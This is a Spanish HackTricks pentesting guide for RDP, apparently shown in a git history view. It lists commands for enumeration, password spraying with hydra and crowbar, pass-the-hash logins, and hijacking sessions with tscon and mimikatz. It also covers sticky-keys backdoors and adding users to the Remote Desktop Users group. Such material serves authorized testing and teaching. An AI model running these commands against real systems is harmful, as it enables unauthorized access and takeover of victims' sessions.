hacktricks/network-services-pentesting/pentesting-rdp.md

170 lines
9.8 KiB
Markdown
Raw Normal View History

2023-06-05 20:33:24 +02:00
# 3389 - Pentesting RDP
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
2023-06-05 20:33:24 +02:00
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
2023-06-05 20:33:24 +02:00
</details>
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
2023-06-05 20:33:24 +02:00
**Configuración disponible al instante para evaluación de vulnerabilidades y pentesting**. Ejecuta un pentest completo desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles más tiempo para profundizar, abrir shells y divertirse.
2023-06-05 20:33:24 +02:00
{% embed url="https://pentest-tools.com/" %}
2023-06-05 20:33:24 +02:00
## Información Básica
2023-06-05 20:33:24 +02:00
Desarrollado por Microsoft, el **Protocolo de Escritorio Remoto** (**RDP**) está diseñado para permitir una conexión de interfaz gráfica entre computadoras a través de una red. Para establecer dicha conexión, el usuario utiliza software cliente de **RDP**, y simultáneamente, se requiere que la computadora remota opere software servidor de **RDP**. Esta configuración permite el control y acceso sin problemas del entorno de escritorio de una computadora remota, esencialmente llevando su interfaz al dispositivo local del usuario.
2023-06-05 20:33:24 +02:00
**Puerto predeterminado:** 3389
```
PORT STATE SERVICE
3389/tcp open ms-wbt-server
```
## Enumeración
### Automática
{% code overflow="wrap" %}
2023-06-05 20:33:24 +02:00
```bash
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
```
{% endcode %}
Se verifica la encriptación disponible y la vulnerabilidad de DoS (sin causar DoS al servicio) y se obtiene información de Windows NTLM (versiones).
2023-06-05 20:33:24 +02:00
### [Fuerza bruta](../generic-methodologies-and-resources/brute-force.md#rdp)
**Ten cuidado, podrías bloquear cuentas**
### **Rociado de contraseñas**
2023-06-05 20:33:24 +02:00
**Ten cuidado, podrías bloquear cuentas**
```bash
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
```
### Conectar con credenciales/hash conocidos
```bash
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
```
### Verificar credenciales conocidas contra servicios de RDP
2023-06-05 20:33:24 +02:00
rdp\_check.py de Impacket te permite verificar si algunas credenciales son válidas para un servicio de RDP:
2023-06-05 20:33:24 +02:00
```bash
rdp_check <domain>/<name>:<password>@<IP>
```
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Configuración disponible al instante para evaluación de vulnerabilidades y pruebas de penetración**. Ejecute una prueba de penetración completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles más tiempo para profundizar, abrir shells y divertirse.
{% embed url="https://pentest-tools.com/" %}
2023-06-05 20:33:24 +02:00
## **Ataques**
### Robo de sesión
Con **permisos de SISTEMA** puedes acceder a cualquier **sesión RDP abierta por cualquier usuario** sin necesidad de conocer la contraseña del propietario.
2023-06-05 20:33:24 +02:00
**Obtener sesiones abiertas:**
```
query user
```
**Acceso a la sesión seleccionada**
```bash
tscon <ID> /dest:<SESSIONNAME>
```
Ahora estarás dentro de la sesión RDP seleccionada y tendrás que hacer impersonación de un usuario utilizando solo herramientas y funciones de Windows.
2023-06-05 20:33:24 +02:00
**Importante**: Al acceder a sesiones RDP activas, se cerrará la sesión del usuario que la estaba utilizando.
2023-06-05 20:33:24 +02:00
Puedes obtener contraseñas del proceso haciéndole dumping, pero este método es mucho más rápido y te permite interactuar con los escritorios virtuales del usuario (contraseñas en el bloc de notas sin ser guardadas en el disco, otras sesiones RDP abiertas en otras máquinas...)
2023-06-05 20:33:24 +02:00
#### **Mimikatz**
También puedes usar mimikatz para hacer esto:
2023-06-05 20:33:24 +02:00
```bash
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
```
### Sticky-keys & Utilman
Combinando esta técnica con **stickykeys** o **utilman podrás acceder a un CMD administrativo y a cualquier sesión de RDP en cualquier momento**
2023-06-05 20:33:24 +02:00
Puedes buscar RDPs que ya hayan sido comprometidos con una de estas técnicas en: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
2023-06-05 20:33:24 +02:00
### Inyección de Procesos RDP
2023-06-05 20:33:24 +02:00
Si alguien de un dominio diferente o con **mejores privilegios inicia sesión a través de RDP** en la PC donde **eres Administrador**, puedes **inyectar** tu beacon en su **proceso de sesión de RDP** y actuar como él:
2023-06-05 20:33:24 +02:00
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %}
[rdp-sessions-abuse.md](../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
{% endcontent-ref %}
### Agregar Usuario al Grupo de RDP
2023-06-05 20:33:24 +02:00
```bash
net localgroup "Remote Desktop Users" UserLoginName /add
```
## Herramientas Automáticas
2023-06-05 20:33:24 +02:00
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
2023-06-05 20:33:24 +02:00
**AutoRDPwn** es un marco de post-explotación creado en Powershell, diseñado principalmente para automatizar el ataque **Shadow** en computadoras con Microsoft Windows. Esta vulnerabilidad (enumerada como una característica por Microsoft) permite a un atacante remoto **ver el escritorio de su víctima sin su consentimiento**, e incluso controlarlo a voluntad, utilizando herramientas nativas del propio sistema operativo.
2023-06-05 20:33:24 +02:00
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
* Controlar el ratón y el teclado de forma automatizada desde la línea de comandos
* Controlar el portapapeles de forma automatizada desde la línea de comandos
* Generar un proxy SOCKS desde el cliente que canaliza la comunicación de red al objetivo a través de RDP
* Ejecutar comandos SHELL y PowerShell arbitrarios en el objetivo sin subir archivos
* Subir y descargar archivos hacia/desde el objetivo incluso cuando las transferencias de archivos están deshabilitadas en el objetivo
2023-06-05 20:33:24 +02:00
```
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
2023-06-05 20:33:24 +02:00
https://book.hacktricks.xyz/pentesting/pentesting-rdp
2023-06-05 20:33:24 +02:00
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
2023-06-05 20:33:24 +02:00
```
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
2023-06-05 20:33:24 +02:00
**Configuración instantánea disponible para evaluación de vulnerabilidades y pruebas de penetración**. Ejecute una prueba de penetración completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles tiempo para profundizar, abrir shells y divertirse.
2023-06-05 20:33:24 +02:00
{% embed url="https://pentest-tools.com/" %}
2023-06-05 20:33:24 +02:00
<details>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2023-06-05 20:33:24 +02:00
Otras formas de apoyar a HackTricks:
* Si deseas ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2023-06-05 20:33:24 +02:00
</details>